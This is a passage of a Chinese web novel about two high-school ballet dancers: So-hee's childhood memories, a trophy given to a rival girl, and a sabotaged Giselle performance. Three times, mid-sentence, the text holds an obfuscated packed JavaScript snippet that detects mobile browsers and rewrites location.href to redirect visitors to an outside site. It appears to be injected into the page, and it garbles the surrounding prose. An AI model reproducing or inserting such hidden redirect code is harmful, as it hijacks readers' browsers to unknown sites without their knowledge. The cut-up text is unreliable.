很快到了分别的时刻，朴素熙先一步走到教室，叫做崔真英的低年级女生还想听更多故事。 朴素熙却摇摇头，亲昵地捏了捏小妹妹的脸颊。 “快上课啦，下次遇见再告诉你吧。” “少看点爱情小说吧，我们真英。” 坐在位置上的朴素熙因为刚刚的话题，不自觉看上了遥远前排的一个空座位。 回忆将她的思绪放慢，拉回小时候。 “不要学钢琴了，朴素熙。” 竖着羊角辫的孩子抬起头，很不解地看着自己的母亲，虽然最开始是被逼着学习钢琴。 但两个月的时间，她很喜欢这项乐器。 “可是妈妈，我喜欢弹钢琴啊。” 最开始拒绝的理由是因为不喜欢，现在接受的理由是因为喜欢。 这就是小孩子的世界观，一切都没有确切的法则，像风一般善变。 “我找专业老师测评过了，你在钢琴上并没有太多天赋。” “做不到一鸣惊人的话，就可以不用学了。” 朴素熙记得母亲留着利落的短发，这让她的话听起来，常常像一把小刀。 “可是......” “没有可是，总之，春游结束之后，我会给你重新报一个兴趣班。” “乐器学不好的话，那就换一种，舞蹈，你觉得怎么样？” 有一种被夺走心爱玩具的感觉，这让小素熙很生气。 她重重摇头，羊角辫在半空中旋转出小孩子的心情，是不理解和埋怨。 不理解母亲的出尔反尔，埋怨母亲的霸道。 而她唯一能做的反抗，只不过是细声细气地喊。 “希罗哟。我不要。” “我不喜欢舞蹈。” 朴素熙那样说出口了。 可她的母亲是一个成熟有经验的女人，她清楚的知道，自己的女儿这样小小的年纪，小小的个头。 她小小的脑子，现在说过什么话，第二天就会忘记。 小孩子能记得什么东西呢？别说记一辈子，三小时，都很难。 “好，不说这个了。我们先去收拾行李吧。” “明天就要去春游了。这一次是海边哦，是第一次去吧，我们素熙。” 小素熙的注意力果然被新话题转移，好奇让她紫葡萄一样大的双眼扑闪起来。 “海边，在哪里？” “在釜山哦，一个很美的地方，我们会坐船过去，周边还能看见很多人在捕鱼，捕到的鱼里就有你最喜欢的带鱼。” “很远吗？” “有一段距离哦。” “那就是很远咯......” 小素熙并不喜欢长途跋涉，准确来说，她不喜欢动。 因此，对于这趟釜山之旅，最初，她并不感兴趣。 等到了地方的时候，她甚至还差点被偷渡来的人贩子拐走。 如果不是人贩子抱着她离开的时候，引起了海岛上一群狗的注意，追着他跑，让人贩子不得不丢掉小素熙，这也许会是小素熙人生中第一次和最后一次来到釜山。 可即便人贩子跑掉了，小素熙的处境也还是很危险。 因为狗狗们追逐的对象中加入了她，一部分小狗开始撵着她跑。 城市里的女孩，没有见过这样凶神恶煞的土狗，即使个头很小，可犬吠声却很可怕。 不知不觉跑进田地里，最后摔倒在一堆干草上，她再也跑不动。 “去——去去去——你们这帮坏狗，滚开啦。” 逆着光而来，像天使一样赶走这群可怕土狗的，是和她一样高的女孩。 “天、天使吗？”小女孩素熙真真以为是故事书里的女神降临。 这样的大小，也许是丘比特？ “田屎？莫呀，小妹妹你怎么能说我像田里面的屎呢。” 那是素熙没有听过的口音，也是第一次听说，天使和田屎是同一种东西。 “我很臭吗？” 穿着蓝白色麻布衣服的小女孩很认真地闻了闻自己的衣服，很迷茫地看过来。 “不臭呀，还有偶妈给我擦的香香粉呢。” 小素熙原本应该先感激救命恩人的，可是在这样古怪有趣的口音和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644415|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方一本正经的解释下，她忍不住哈哈大笑起来。 “姐姐，你好有意思。” 虽然并不知道对方的年龄，但面前扛着锄头的小女孩的确看着比自己要精神和壮硕。 虽然，只是一点点。 但素熙，情不自禁地对她示弱了。 “你不是这里的人吧，是和家人走散了吗？” “我先带你去我们村子里，让村长用广播帮你找你的家人好吗？” 于是，素熙牵起了这个陌生姐姐的手，跟着她回到了她家。 正好是饭点，她被热情的姐姐一家人邀请着吃了名叫鱼饼的食物。 不过，她最喜欢冒着热气的牛骨汤饭。 饭后，姐姐的父亲去找了村长帮忙寻找素熙的家人。 留在家里的母亲则笑眯眯地叫着自己的女儿。 “曾胜呐，不给新来的小妹妹跳一个舞吗？” “你最喜欢做这个了，对吧。” 乡音太过变异的调子，让素熙没有听懂姐姐的准确名字。 只大概听见类似于zeng——sing——这样的发音。 “好！妹妹，来和我一起跳舞吧。” 又一次牵住她的手，素熙跟着这个姐姐的步子欢快地动起来。 她没有学过跳舞，根本不知道怎么下脚。 “跳舞是很开心的事情吧，不需要思考，只要动起来就很快乐。” 可是，姐姐这样说，她好像也觉得自己变轻了。 一曲结束，这位姐姐突然很兴奋地问她。 “妹妹，你是从城市来的吧？” “对不起姐姐，我不知道，什么是城市。” “那你是首尔来的吗？” 素熙点点头，姐姐拍手跳起来。 “那就对啦，偶妈说过，首尔是大城市。” “那你一定知道芭蕾舞吧，你有看过吗？” 素熙是个很聪明的孩子，聪明的她虽然被妈妈带去看舞剧的时候昏睡过去了，却知道现在她应该对着姐姐点头。 “嗯！” “那你看看我跳得好不好，村子里新来了一个舞蹈老师。” “她只收了我当徒弟，她说我很有天赋的哦。” 朴素熙第一次欣赏到芭蕾的美，并不是在华丽的剧场里，身体没有陷在天鹅绒填充的靠椅里。 她没有昏昏欲睡，在这个海岛乡村的篝火映照下，她捧着脸用不可思议的目光，看见眼前的姐姐变成了一只洁白的天鹅。 姐姐，真的是从天而降的天使。 “姐姐，你跳的舞叫什么名字，好美。”素熙呆呆地问姐姐。 当姐姐向她走过来时，她闻到了海风的咸湿，有人会将其称为令人反胃的鱼腥味，她却觉得这是一种自由的味道，令她喜欢。 “老师说，这个叫吉赛尔。” “你想学吗？”好为人师似乎是每个小孩的天性，她们善于分享自己的所有物，也乐意于传授自己的所学，更高兴，有人愿意学。 这样显得自己也像是个成熟可靠的小大人了。 “那我教你跳吉赛尔的舞步。” “姐姐，你呢，你跳什么？” “当然是阿尔贝特啦，姐姐我会保护你的呀。” 小素熙其实根本什么都不了解，但她还是雀跃地挥着手抱住姐姐。 趴在她耳边认真地赞美：“那你一定是最好的阿尔贝特！” “哼哼，好话才不会让我放松对你的要求哦。”姐姐将头歪向一边，得意又臭屁地笑起来。 可是，她们真的了解吉赛尔的故事吗？ 如果小小的她们知道这是一出悲剧，还会这样轻易地许下诺言吗？ 即使她们并没有察觉自己作了怎样的约定，可是，狐狸已经听见了。 5. 朱雀鸟 所以，朴素熙学习芭蕾的原因是什么呢？ 也许是因为那个连名字和年龄都不知道的姐姐吧。 上第一节芭蕾课的时候，其实并不顺利。 被妈妈找到，带回首尔的大船上，朴素熙兴奋不已地告诉她自己的经历。 厉害的大姐姐，跳起舞来很美丽的她，因为她而想要学习舞蹈。 小素熙就这样改变了最初的想法，然而她的母亲却并不高兴。 一下又一下抚摸着她的头发，带着一丝笃定的语气说。 “果然是小孩子啊，我们素熙。” 是小孩子又怎样了呢？ 朴素熙不明白，妈妈为什么总是以她是个小孩子来当□□她又不爱她的理由。 是小孩子，就会被允许拥有三分钟热度、健忘、喜新厌旧这些长大以后不被许可的特质。 因为是纯真的小孩，所以有些小毛病反倒生动可爱。 小孩子的记忆力总是很差，因为脑子里要装下的奇思妙想太多。 所以——她其实早就忘记釜山，那个海岛上曾经为她跳舞的姐姐。 因为对于她这样胆小的小孩而言，抛开姐姐的部分，实际上的经过是恐怖的。 当然，这并不是坏事，自那以后，她的性格发生了变化，连习惯也发生了改变。 这也许是上天给她的交换物，小小的她记不住同龄人，却在不知不觉中长成了对方的性格。 如果，那个姐姐平安长大，也许就是朴素熙现在的“模样”。 所以啊—— “其实，我已经忘记最初要跳舞的原因了。” 是17岁的朴素熙，她似乎看起来是令人羡慕、无忧无虑的存在。 真的如此吗？ 第一堂课的时候，她也被舞蹈老师叫做笨重的鸭子。 她的老师就和珍星在海岛上的老师截然相反。 “有的人生来就是天鹅，生来就是轻盈的羽毛。” “而你，是一只小黄鸭，如果不努力的话，就没有必要继续下去了。” 八岁的朴素熙决定坚持学下去，因为她不喜欢老师用这样的语气和自己讲话。 “我就要做羽毛给您看。” 这点不服输，成功开启了她的人生。 几年后，当她在少儿组拿到第一名时，老师告诉了她一个秘密。 “其实，当初我就发现你是个有天赋的女孩。” “只不过，我知道小孩子都没有什么耐心学东西，如果不这样激怒你，也许你就不会继续下去了。总之，素熙，老师很高兴你能拿到第一名。” “继续学下去吧，老师很期待有一天你会在更大的舞台上演出。” 寻常小孩听见这段话，也许会得意又高兴。 自己的努力得到了证明的同时，曾经瞧不起自己的人居然还亲口说出“其实你是个天才”这一类的话，这足以让尝到甜头的小孩继续走下去。 可这种孩子，并不包括朴素熙。 她只觉得，自己受到了欺骗。 也恍然大悟，怪不得母亲在最开始舞蹈老师说过她没什么跳舞天赋后，并没有像学钢琴那样让她放弃。 可，朴素熙是真的以为，母亲改变了自己的念头，母亲在给她一种自由。 名为，能做自己想做的事情的自由。 而不是靠洗脑，靠欺骗。 她是这样的充满了自己的原则和秩序所构成的一个人。 一旦某天，她的原则和秩序崩塌，她也会随之毁灭。 朴素熙确信，这就是她的命运。 于是得到少儿组第一名，拿着奖杯的朴素熙逃走了。 她跑出了后台，跑出了剧场，在一条小路上，狠狠地扔掉了这座镀金奖杯。 “为什么要丢掉来之不易的奖杯呢？” 幽幽的女声响起。 “啊——你、你是谁？” “为什么刚刚不说话，你是专门躲在这里吓人的吗？” 朴素熙的声音是接近于糯米团子含在嘴里的黏糊和草莓果酱不加面包直接塞进嘴里的甜腻。 这让她说着有些生气的话时，听起来更像撒娇。 躲在角落的女生没有因为她的话走出来，朴素熙能隐隐约约看见和自己差不多个头的黑影。 “我吗？我是来参加比赛的。” “可是，我的家离这里太远，我想尽办法过来，也还是没赶上。” “啊——这样吗，那一定很可惜，不过下一次......” 安慰的话还没有说完，就被打断。 “你是第一名吧，我看见了，你丢掉的奖杯。” “那个啊，那个不是我的，我只是......” 敏锐察觉到对方低落心情的朴素熙，因此按捺住自身的不高兴，想说点什么让她好受一点。 “你能告诉我，前三名跳的是哪些选段吗？” 在少女之前的女孩，她的声音像海边被冲刷了很久的石块，变成了圆润的弧度，但音调并不饱满。 这让她的声音有些奇怪，是尴尬的变声期。 朴素熙刚要张嘴。 又被打断。 “不、我没有那么多时间了，你、跳的是什么？” 朴素熙听到了叮铃铃的电话声，对方挂掉之后又锲而不舍地响起好几遍。 直到女生将电话关机。 “可以告诉我吗？” “我，我不想输。” “是睡美人里的选段。” 女生极快回复：“玫瑰慢板吗？” “对，你怎么知道？好神奇。”朴素熙惊讶地捂住嘴巴。 “啊......我的报名曲目，也是这个呢。” “老师说，只要我不失误，也许能拿到第一名。” 草丛中伸出一只手，将素熙丢下的奖杯递过来。 “第一名这样宝贵的奖杯，不要随便丢掉啦。” 昏暗的路灯下，她看见了一个短发女生。 因为灯光太暗，实际上并没有看清对方的长相，只觉得有一些熟悉。 但素熙确信，她之前不认识对方。 “你可以看我跳舞吗？” “老师说，如果拿不下这次比赛的冠军。” “我就不会再有跳舞的机会了。” 朴素熙隐约听出她身上悲伤的故事，所以点头了。 “当然，如果我可以看的话。我会非常荣幸。” 虽然不知道，对方能不能看见自己的笑容，但她还是努力地提起嘴角。 朴素熙拿出自己的手机为她播放了音乐。 “是要跳玫瑰慢板吗？” “可以放KitriAct1吗？” 这当然也是她们这个年纪的孩子会练习的曲目之一，只不过比起朴素熙选的那段来说，这段出自《堂吉诃德》里的变奏曲，要求表演者掌握的技能要求更高。 轻快但琐碎的步子还要配合着紧密衔接而来的抬腿、踢腿、旋转，很容易就把人转晕或者缺步子。 素熙理解对方选择的原因，也许更难就代表着更强。 情绪欢快的音乐响起，那名女生所穿的火红色表演裙在昏暗的路灯下竟像是枯萎的玫瑰。 然而她的舞姿却是那样热情，她本人是那样的哀伤，却在舞蹈中精准传递出了这个选段中的意气风发和澎湃生机。 素熙目不转睛地看着对方的表演，仿佛看见了一只朱雀鸟。 “你很厉害，你真的比我厉害好多。” “这个奖杯应该是你的。” 素熙真心诚意地夸奖道，并将奖杯按照真正的剧场表演后为演员献花那样，献给女生。 可是她被拒绝了。 当音乐结束，快乐的朱雀坠回人间，是那样的沉默和冷漠。 “请不要对我开玩笑。” “也请你，不要对芭蕾开玩笑。” “可是，可是我真的觉得，如果你能上场，今天赢的人一定会是你。” “你真的喜欢芭蕾吗？” 积极的夸奖不仅没有收获感谢，反而被指责，论谁也会生气。 简直就是好心当了驴肝肺。 可素熙并不生气。 “喜不喜欢，很重要吗？” “我觉得，只要别人叫你努力去做，然后就会去做。” “因为有人叫我做这件事，所以我就做了，学芭蕾就是这样。” 她平静又疑惑地问对方，并不是在反击什么。 而是在她学习芭蕾的这条路上，从没人问她喜不喜欢，想不想要。 她所处的是这样一个环境，所以没法理解对方为什么会这么生气。 “你生气了？” “为什么？是我说错话了吗？” 她看见朱雀鸟摇摇头，拿走了她的奖杯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644416|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我明白你的意思了，那你就把奖杯给我吧。” “如果有了这个，我就能继续跳舞了。” “你把它送给我，你是一个好人，我会谢谢你的。” 素熙点头了，她很高兴，甚至有些如释重负。 于是她和对方背对着走上两条路，很快她在剧院门口看见着急的妈妈。 “你跑到哪里去了，我很担心。” “等等，你的冠军奖杯呢？” 素熙没有欺骗妈妈，她也不打算欺骗，她觉得自己做了一件好事情，不需要隐藏。 这个奖杯对她而言是没有用的东西。 这份刻在骨头里的冷漠，常常被她用善意包裹起来。 所以接受的人会觉得奇怪，又找不到问题所在。 最后只能责怪自己是个不大方不善良的人，所以才会把素熙往坏了想。 “你是傻子吗？那明显是一个骗子。” “和你差不多大，穿着红色裙子的女孩，没想到这么小的孩子就会骗人。” “我得找到她家人好好教训一下这种坏孩子。” 这种时候，素熙不懂自己的母亲究竟是为了谁？ 如果是为了自己，可她早就说过，不想要这座奖杯。 “妈妈，是我要送给她的，她不是骗子。” “她比我更需要这个奖杯，她，她喜欢芭蕾。” “我......我其实，根本就不......” 素熙深呼吸一口气，想要说出自己的心声。 母亲的呵斥却如火山喷发一般。 “够了！你在发什么脾气?你以为这个第一名是天上掉下来的，还是以为你真的是天才，这个第一名随便就能拿到吗？” “你知不知道，我给她们送了——算了。” 母亲拿出手机拨下警察局那边的号码。 “妈！你都在做些什么啊？” “我要报警把那个骗子抓回来，你不懂事就算了......” 素熙不懂母亲的偏执，像疯了一般。 你看，这个奖杯其实根本就不是给她的，她根本没有处置的权利。 直到剧场的工作人员认出她的母亲，小跑过来，止住了母女之间的窘迫。 “夫人您好，孩子的奖杯刚刚落在剧院了，正好您还没走。” “请带回去吧。” 朴素熙惊讶地看着工作人员手里的东西。 “怎么、怎么可能。” 工作人员又看见愣住的素熙，递给她一张纸条。 “捡到的人好像是小妹妹你的朋友。” “这是她给你留的。” 素熙打开纸条。 “下一次在比赛，我们，好好比一场吧，我不会让你一直是第一名。” 不知道她的名字，所以叫她第一名。 也许嫉妒她羡慕她，可真的拿到奖杯的时候，又释然了。 所以，那个她，向素熙发起了挑战。 这就是小孩子，虽然好斗，但又互相爱着自己的对手。 然而，朴素熙没有在之后的赛场上见过一个和她相似的女孩。 偶尔她会惊喜地对着穿红色裙子的对手打招呼。 可当对方转过头，素熙即使不知道那个人的长相也确定，眼前的人并不是她。 如今，转学到珍星这所学校的素熙，正在教室后面看着珍星。 珍星的个子没有自己高，性格也并不开朗。 她和素熙记忆中遇见的人们，小时候遇见的姐姐，第一次参赛遇见的女生，其实一点都不像吧。 如果是珍星的话，也许真的会拿走奖杯。 就算没有拿走，她留下的纸条也绝对不会写上什么好话。 她一定会这样写： “我不需要你的可怜。” 可是，哪怕是那个理想主义者堂吉诃德，他的确不怕人生的风吹日晒。 可在他未知的旅途中，一次又一次的失败中，总有一部分学者认为，他终将舍弃自己的浪漫理想。 成为一个面目可憎的凡人。 所以，人是会变的。 素熙拿着买好的草莓汽水，笑吟吟地来到珍星的桌前。 而她会找到自己的朱雀鸟，一定会。 “今天，可以请你喝草莓汽水吗？” “纪念我们称为亲故的——第一天......” 6. 舞台事故 我们之间是什么关系呢？ 读作亲故，写作朋友。 “珍星呐，要一起出去逛街吗？” 和珍星成为朋友，对于朴素熙而言是必然会成功的事情。 即使不是因为那天在练舞室，珍星的失控，也会是因为别的事情。 不过，素熙很高兴，这一切如她所愿。 于是在排练期间，她在和珍星排练着双人舞时，这样贴在她耳边说了。 她迫不及待想要了解珍星更多一些，正如她会在对方格外碎碎念一些。 “珍星喜欢草莓吗，我也是!” "或许，你喜欢咖啡吗？最近的人们总是捧着。" “我也很想试试看，珍星要不要和我一起去喝喝看？” 和素熙形成对比的是沉默的珍星，一开始素熙以为这是她的性格就是寡言少语。 但在成为朋友之后才发现，这只是因为珍星的反应有些慢。 她像一只慢吞吞的蜗牛，要用自己的触角消化外界的信息，而素熙很擅长于等待。 “出去玩吗？”珍星这才从练习中回神，很认真地思考了她的提议。 出乎素熙预料的是，这一次不需要她多说什么，珍星就同意了。 “好啊，明天小测完之后，我们一起去逛逛吧。” 珍星想起昨天妈妈给她打的电话。 “最近你阿爸捕到了很多好鱼，我们手头宽裕了些。” “所以我们珍星，也去买一些自己喜欢的东西。” “你上次说想要买新衣服，妈妈给你的卡里汇了钱，去买你想要的吧。” 有时候珍星想，正因为家人如此爱她，她才不能放松一刻。 可家人，比起荣誉，更在意的是她这个人。 和素熙的关系改变，的确让她少了一些焦虑。 所以珍星乖乖答应了母亲。 “好，谢谢爸爸妈妈。” “我们珍星呐，只要你高兴就好啦。” “不需要太累，不要不高兴。” 母亲的话很软和，对于有的孩子来说是一汪暖心的泉水，可是对于她而言，成为了一张密密的网。 越是对她好，越是让她放轻松，就越紧张、不安。 因为这会让她觉得，是不是因为父母觉得她再怎么努力也不会改变什么，所以才会劝她想开一些呢？ 是因为，并不认可她，所以才会表现得不在意吗？ “我会的。”在电话里，珍星这样说了。 她的闷闷不乐似乎没办法诚实说出口，一旦说了，也许就是不孝女儿。 “你们也要照顾好身体，不用给我汇钱，我会自己照顾好自己的。” “我在学校里表现很好，每个月都能拿到补助金的。” 提起补助金的事情，珍星并不觉得羞耻，反而觉得这是一种荣誉。 只有每个月的小测都名列前茅，连续一年之后，在一年级的期末考核也获得好名次，才能在二年级申请这笔不菲的补助金。 珍星计算过，只要能在这个学年拿满补助金，三年级就不用父母再支付学费了。 至于住宿费，珍星打算接下来的暑假和寒假都去附近打工。 “所以，爸爸妈妈你们也不要太辛苦了。” “我会照顾好自己的，请相信我。” “好孩子，妈妈为你骄傲。” 只有这样，她才会觉得安心，一切都在按照她的计划进行。 只需要每次都排在前面，然后找到价格合适的兼职。 可是上苍好像早就说过这样的话。 “人不可能一帆风顺，想什么就得到什么。” 在月末考核的那一天，她穿上了舞鞋和舞衣，而两样东西上都被人动了手脚。 舞鞋里被放了碎玻璃片，而舞衣里有很细小的针。 “啊——”她不由得叫出声来。 “怎么了，你受伤了？” “我们去医务室吧，流了好多血，珍星你流了好多血。” 素熙抱着她想要将她带走。 也许珍星会跟着她离开，可她们正在后台候场，下一组就轮到她们班表演了。 正是因为来得太急，她才没能在昏暗的后台仔细检查自己的东西。 “不，是我的失误。” 珍星很清楚，如果她走了，没有人候补上位的话，她们班的整体表现就会被委员会判负。 到时候，不仅老师会被骂，她也会，甚至有可能因此被放弃。 即使有后补，她也不会允许自己被代替。 “不要管我。我没有事。” 于是，珍星这样对素熙说了。 碎片和针都被立刻取了出来，可伤口并没有愈合。 “珍星——” 作为主角吉赛尔，素熙被推着上场了。 珍星对她一笑，无声做着口型。 “我马上就来。” 她想忍痛上场，可是金老师却来到了后台。 “宋珍星，你受伤了？” “那你就不让上场了。” 金老师点了一个人，让她代替宋珍星上场。 “我记得你跳得也不错，就你去代替她吧。” “金老师！”珍星爆发地喊住她。 只一瞬间的大胆，下一秒就瑟缩着身体。 “老师，我没有问题，我可以继续上场。” “你是在和我开玩笑吗？” “就算你自己不爱护自己的身体，我也不会让你去逞强。” 其实金老师虽然严厉但也还有人性，她完全是出自于关心学生的角度让宋珍星下场。 “就算你上去了，又怎么能比得过没受伤的人呢？” “不要逞强，我知道你是为了补助金，你放心，今天情况特殊，我不会因为这件事情给你打低分。” 金老师也并不是不知道她的情况，她知道宋珍星的情况。 所以，她可以没有顾虑的下场了。 金老师的确说中了宋珍星的心口，可这样明晃晃说出来之后，她的心并没有放轻松。 珍星沉默，甚至左顾右盼，不留神看向了舞台，朴素熙也在分心看向后台。 有一个瞬间，她们两个好像就真的对视上了。 宋珍星看见了朴素熙眼里的期待. “这是我们第一次合作吧，还是爱情主人公哦，好亲密。” 朴素熙在某次为她弹琴练习的时候这样感慨了。 “我喜欢和珍星一起跳舞。” 而珍星的回答却很冷淡。 “可是，我之前一直拿你当假想敌。” “不过，我不愿意承认这一点，因为我相信我能比你做得更好。” “珍星呐——”察觉到她的认真，素熙想要转移话题。 “我是说真的，我会超过你，我会成为最好的芭蕾舞演员。” 珍星的不解风情，偶尔会让素熙感到抓狂，但如果不是这样的性格，就不是她了。 但素熙还是觉得有些挫败，她小声地自言：“有时候，就不能对我浪漫一点吗？” “这也是芭蕾舞该有的特质吧。” “什么？”珍星并没有听清她的话，凑过去想要问清楚。 素熙哪里会说出来呢，她只是俏皮地在珍星脸上偷袭。 “啵——” “偷袭成功！我们珍星的脸好软。” “呀！朴素熙！”珍星这样喊着，而素熙跑开，露出了一个得意的笑容。 但其实，并不是没有听到，只是因为反应太慢。 等到大脑接收到这条消息的时候，已经不是适合回答的时间。 而现在，珍星看着已经穿好阿尔贝特服装过来的那个女生，她想起了素熙的这句呢喃。 “不要。”于是她这样说给自己听。 她不要下场。 很明显她今天的情况就是被设计好的。 先是被文化课老师莫名叫过去训话害她差点错过准备时间。 后是被体育课代表叫去整理器材室，她才会这样急迫地穿鞋穿衣服。 如果她因此中招了第一次，被代替了第一次。 那么以后呢？就算是金老师会照顾她这一次。 那下一个月，下下一个月呢？ 更重要的是，不，也许没那么重要。 宋珍星只是觉得，朴素熙的期待，对于她们第一次合作的期待，有一点点重要。 “我不会下场。”手指掐住衣服，她听见了自己的心跳声。 后台很乱也很吵，正如她此时的心跳。 于是，当阿尔贝特的出场序曲响起时，宋珍星跑到了替补人的前面。 先她一步上了场，腰上的伤口还在流血，将她的衣服染红。 又因为速度并不快，所以看起来，更像是一种设计。 “是在暗示两位的相遇犹如一朵缓缓盛开的玫瑰吗？” “这个班对于吉赛尔的编排，很有自己的见解嘛。” 一位台下的评委这样说道，眼里有几分欣赏。 珍星的白色舞服因为血迹，从纯白变成粉红，当她和朴素熙的双人舞结束，变成了红色。 珍星没有选择包扎，实际上，也没有时间让她换衣服。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644417|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吉赛尔作为绝对主角，几乎没有下场时间，除了第二幕戏。 那可以算是阿尔贝特的独角戏。 珍星和素熙在后台短暂汇合了几分钟。 “不要担心我，素熙。”珍星说。 “可是，真的没关系吗？” “对我来说，你的身体比这次考核重要。”素熙牵着她的手，眼里没了最初的开心。 “可是对我来说，这次考核更重要。” “每一次考核，每一场比赛都很重要。”珍星反驳了她，并先一步转身去往后台交接处候场。 素熙看着她的背影，只能叹息。 “珍星呐。” 她觉得有时候珍星的固执，并不好。 可如果她知道，珍星这样的固执里有一分原因是想到了她，又该作何反应呢。 正因为不知道，所以无法责怪素熙会觉得珍星是自己握不住的风。 握不住，只会让她更不愿意放手，抓得越近的时候，风就更会想要逃走。 对于珍星而言，这次考核对于她的磨难还没有结束。 在即将上场的时候，她抬起腿准备以标准的旋转体入场，最没有防备的时候，身后的人将她重重向前推。 这让她不仅倒在舞台上，还克制不住本能地发出巨大的叫声。 “啊——” 有人，铁了心想要毁了她，毁了这次表演。 意识到这一点的瞬间，珍星脸上的痛苦表情变得更夸张。 “吉赛尔——” “我的爱人，我纯洁的百合花，我热烈的红玫瑰——” 珍星爬到舞台的中央，准确来说是将原本的旋转改成了躺在地上的踢腿式。 她将自己化作一艘破败的小船，奄奄一息地划到吉赛尔的坟墓前，溢进来的是洪水般，她对吉赛尔后知后觉的深刻爱意和悔意。 这点小机灵是不够挽回技术分的，珍星知道自己还需要站起来继续完成原本的旋转式。 双腿传来的剧烈疼痛似乎痛入了骨头。 可她必须站起来，极快地站起来，继续她的表演。 所以，她默默向那个制造危机的人宣战。 等着吧，我会把你带给我的危险，全部化成我的荣誉。 失魂落魄的阿尔贝特在爱人坟前忏悔，却被憎恨负心汉的幽灵女王米尔塔率领一种遭遇背叛的少女幽魂向他发起复仇。 女人的攻击并不粗暴，可这种优雅的艺术，是对心灵和□□的双重粗暴。 她们将阿尔贝特团团围住，强迫他跳舞。 “负心的坏男人，你怎么能停下呢，继续跳下去，就像你用这种把戏骗走少女的心脏又随意丢掉，用你骗人的舞蹈伤害纯真的少女，你该死，你该死——” “继续跳啊，继续跳，你不是为之骄傲，为之得意，为之沾沾自喜吗？” “今天你又狩猎了几个女人？今天你又谋害了几名少女？” “跳吧，跳吧，直到你再也没有力气，再也不能作恶人间......” 米尔塔强迫着阿尔贝特跳舞，直到死亡为止，这是被背叛的少女们绝望又愤怒的复仇。 珍星已经不记得这是第几组转圈，围着她的女生们尽职尽责地融入自己的角色，她却有点恍神。 疼痛麻痹了她的大脑，只剩下肌肉反应在跟着作出舞步。 现在的她正如绝望的阿尔贝特，不死不休。 直到—— “不要这样。请不要这样对我的爱人。” 直到吉赛尔登场，即使已经成为了幽魂，即使经历了阿尔贝特的背叛，绝望地舍弃了自己的性命。 她也依旧选择保护自己活在人间的爱人。 这是无解的爱。 珍星喜欢这部舞剧，一向是因为其中高难度的技巧和世人对于这部剧中吉赛尔的赞誉。 能演好吉赛尔的人或者说能在正式的舞台上出演吉赛尔的演员，本身就是受到肯定的最好的芭蕾舞演员。 可当她作为阿尔贝特，被吉赛尔轻柔地拥抱住，聆听少女掷地有声的爱情宣言。 誓死也要保护心爱之人。 珍星觉得，这部舞剧，的确是个动人的故事。 可这样真挚的情感对她而言，实在，太过缥缈。 但她还是在素熙借由表演，看向自己时，短暂地抽离阿尔贝特，头一次从表演中抽身。 她终于俏皮了一次。 “这样，就是素熙说的浪漫吗？” 朴素熙回给她的是拥抱，借由吉赛尔对阿尔贝特的诀别拥抱，抱住人间的珍星。 “你是我的，最浪漫的珍星。” 7. 小红帽 毫无疑问的是，当结束表演走下台的那一刻，金老师向珍星投过来的视线里是怒火。 “我怎么不知道我手下出了个堂吉诃德？” “宋珍星，你知不知道堂吉诃德是什么？” “一个爱幻想的破流浪汉，你也想走上他的路吗？” “你想当流浪汉我倒是无所谓，要是毁了今天的表演，你就给我滚蛋。” 珍星低下头，不敢争辩，也心知不可以和老师起冲突。 门口的素熙悄悄探出头，听见金老师正在训话，学着对方扭曲的表情。 她在逗珍星笑，但很快，素熙就走进来打断了老师的教训。 “那个，金老师，或许能不能让我先带珍星去处理一下伤口呢？” 两个人的表演服装都还没有换下来，可见金老师想要训斥珍星的这份真心。 “哼，你们啊，去送死的时候也要分先来后到吗？” 金老师心有所感地抬头看了一眼朴素熙，借机敲打对方。 “好好记住宋珍星现在的可怜模样，如果你敢学她，我也不会饶过你。” 月末考核的事情发生在周五，金老师也等着享受周末。 于是挥手让两人离开。 临走时，她又冷不防出声。 “宋珍星——” 以为老师又要找理由责备自己，珍星不安地转身。 “考核老师们夸这个演阿尔贝特的很会舞台设计。” “你也只有这个优点了。好好处理伤口吧。” 金老师的目光停在她的衣服上，暗淡的血色标志着伤口的凝结。 对于这个角色而言，倒也是恰到好处。 至于，导致宋珍星受伤的人或物，金老师并没有主动提及。 人们总以为搞艺术的人就高雅，实际上不都是一群疯子吗？ “我如果是你的话，就会在平时多长一点脑子。” “你不是吃鱼长大的吗？为什么一副蠢得挂相的样子。” “老师——我们真的来不及了！”朴素熙拉过珍星的手，再次打断金老师的话。 她不明白金老师为什么要说这样辛辣刻薄的话。 明明珍星已经很努力了，而最终的表演也堪称完美。 如果真的要责怪，不应该怪那个放玻璃的小人吗？ 可是，宋珍星却并没有感激素熙的帮助。 她反而感激地对着金老师鞠躬。 并且说：“谢谢您，我会记住您的教导。” “金老师对你那么坏，你干嘛要谢谢她？” 素熙牵着珍星的手甩起来，一脸愤愤不平。 将脚下的落叶当成金老师和伤害珍星的人狠狠踩下去。 